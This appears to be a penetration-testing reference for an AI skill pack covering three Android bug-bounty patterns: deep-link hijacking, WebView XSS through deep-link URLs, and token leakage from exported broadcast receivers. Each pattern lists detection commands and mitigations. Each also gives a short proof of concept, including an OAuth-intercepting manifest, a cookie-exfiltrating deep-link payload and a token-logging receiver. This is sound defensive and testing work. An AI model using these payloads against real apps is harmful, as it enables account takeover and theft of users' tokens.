Bug Bounty Patterns 2024-2026 — android-pentest
Overview
Post-2023 Android bug-bounty patterns covering deep-link hijacking (only 2.2% of apps pass
App-Links verification), WebView injection via deep-link parameters, and a resurgence of
broadcast-receiver-based metadata leakage. Sources: Android Security documentation, USENIX
deep-link analysis, 8kSec mobile research, HackerOne 2024-2025 Android disclosures.
Last validated: 2026-04. Emit findings via ../schemas/finding.json.
Pattern Index
| # | Pattern | Severity | Primary Source |
|---|---|---|---|
| P34 | Deep-link hijacking via intent-filter registration | Critical | Android docs · USENIX study |
| P36a | WebView XSS via unsafe deep-link URL loading | Critical | 8kSec 2024-2025 |
| P37 | Unprotected broadcast-receiver metadata leakage | High | Mobile audits 2024-2025 |
(iOS variant of P36 lives in ../../ios-pentest/references/bounty_patterns_2024_2026.md.)
Patterns
P34. Deep-Link Hijacking via Intent-Filter Registration
- CVE / Source: Android developer documentation on unsafe deep-links; USENIX 2024 analysis showing only 2.2% of apps with App Links pass verification; multiple HackerOne disclosures 2024-2025.
- Summary: Multiple installed apps can register the same custom URI scheme (
myapp://…) or the samehttphost pattern. A malicious app that registers first (or with higher priority) intercepts OAuth callbacks, payment deep-links, and password-reset links, leading to account takeover. - Affected surface: Apps using custom-scheme deep-links (
example://auth); apps using HTTP deep-links without Digital Asset Links (assetlinks.json); OAuth callback handlers that trustIntent-delivered data without origin check. - Detection (automated):
Specific checks:# Extract intent-filters from AndroidManifest.xml apkanalyzer manifest print app.apk \ | grep -E '<intent-filter|<data|android:scheme|android:host|android:autoVerify' # If autoVerify="true" → confirm assetlinks.json exists & is correct: curl -sSf https://host.tld/.well-known/assetlinks.json | jq . # Dynamic: use Frida to hook Intent.getData() in callback activity- Any
<intent-filter>matching OAuth/payment/reset URIs withandroid:autoVerify="false"or missing. - Any deep-link handler that reads
getIntent().getData()without caller-UID / signature check.
- Any
- Exploitation / PoC:
Malicious app reads the OAuth<!-- Malicious app's AndroidManifest.xml registers the same scheme --> <activity android:name=".Grab" android:exported="true"> <intent-filter android:priority="999"> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="victimapp" android:host="oauth"/> </intent-filter> </activity>codefrom the intent URI; silently relays session to attacker. - Indicators: Play Protect / MDM flag on second app registering known scheme; authorization server logs
codedelivered to multiple devices. - Mitigation: Android App Links + verified
assetlinks.json;<intent-filter android:autoVerify="true">; verify caller identity in the activity (getCallingPackage(), signature); move OAuth to Custom Tabs (Chrome intent) rather than raw scheme. - Cross-refs: MASTG-TEST-0032, MASTG-TEST-0039; CWE-926, CWE-927; related → P36a, P37.
P36a. WebView XSS via Unsafe Deep-Link URL Loading
- CVE / Source: 8kSec Android deep-link research 2024-2025.
- Summary: Deep-link parameters piped directly into
WebView.loadUrl()/loadData()/loadDataWithBaseURL()without sanitization allow HTML injection, XSS, and — whensetJavaScriptEnabled(true)+addJavascriptInterface— full RCE through JS bridge reflection. - Affected surface: Apps with in-app browsers that accept a
urlquery parameter; hybrid apps using@JavascriptInterfaceannotated classes; apps rendering help / news / promo pages via WebView. - Detection (automated):
# Static: find WebView sinks apktool d app.apk -o out grep -RnE 'loadUrl|loadData|loadDataWithBaseURL|addJavascriptInterface|setJavaScriptEnabled' out/smali* # Then trace which activities consume getIntent().getData() into those sinks. # Dynamic: adb am start + Frida hook: adb shell am start -W -a android.intent.action.VIEW \ -d 'myapp://browse?url=javascript:alert(document.cookie)' # Confirm execution with frida-trace -m '*WebView*' - Exploitation / PoC:
myapp://in-app-browser?url=data:text/html,<script>AndroidBridge.exfil(document.cookie)</script> - Indicators: WebView rendering content whose URL comes from
Intentextras; cookies or tokens posted to unrelated domains from the WebView. - Mitigation: Strict URL allow-list before
loadUrl; dropjavascript:/data:/file:schemes;setJavaScriptEnabled(false)unless required; avoid@JavascriptInterfaceon API < 17 and audit exposed methods. - Cross-refs: MASTG-TEST-0034, MASTG-TEST-0037; CWE-79, CWE-749; related → P34.
P37. Unprotected Broadcast-Receiver Metadata Leakage
- CVE / Source: Mobile app penetration-testing reports 2024-2025; HackerOne reports in finance / health apps.
- Summary: Broadcast receivers that are
exported="true"(explicit or implicit pre-Android 12) withoutandroid:permissionprotection leak authentication tokens, refresh tokens, device IDs, or push-notification metadata to any app that registers a matching action. - Affected surface: Apps exporting receivers for cross-app notifications, push integration (FCM), deep-link callbacks, or inter-app workflow triggers; apps built against
targetSdkVersion < 31whereexporteddefaults vary. - Detection (automated):
apkanalyzer manifest print app.apk | python3 -c ' import sys, re for m in re.finditer(r"<receiver[^/]*?/>|<receiver.*?</receiver>", sys.stdin.read(), re.S): t = m.group(0) if "exported=\"true\"" in t and "android:permission" not in t: print(t)' # Dynamic: register a listener adb shell am broadcast -a com.victim.ACTION_LEAK # observe intent extras - Exploitation / PoC:
// Malicious app registerReceiver(new BroadcastReceiver() { @Override public void onReceive(Context c, Intent i) { Log.d("PWN", i.getStringExtra("auth_token")); } }, new IntentFilter("com.victim.ACTION_LEAK")); - Indicators: Install-time events where multiple apps subscribe to the same non-system action; Frida hook shows
sendBroadcastwith token-like extras. - Mitigation:
exported="false"unless required;android:permissionwith signature-level protection; useLocalBroadcastManager(deprecated but fine for intra-app) orFlow/LiveDatain-process; target SDK ≥ 31. - Cross-refs: MASTG-TEST-0035; CWE-926, CWE-200; related → P34.
Payload catalog additions
See ../payloads/intent_injection.txt — appended with broadcast-receiver probe intents and
deep-link interception intents.
Cross-skill links
- iOS: platform-specific counterparts —
../../ios-pentest/references/bounty_patterns_2024_2026.md(P35, P36b, P38). - API: OAuth callback ATO chains that deep-link hijacking enables —
../../api-security/methodology/bounty_patterns_2024_2026.md(P1). - LLM: in-app WebView chat assistants → prompt-injection via deep-link —
../../llm-security/references/bounty_patterns_2024_2026.md.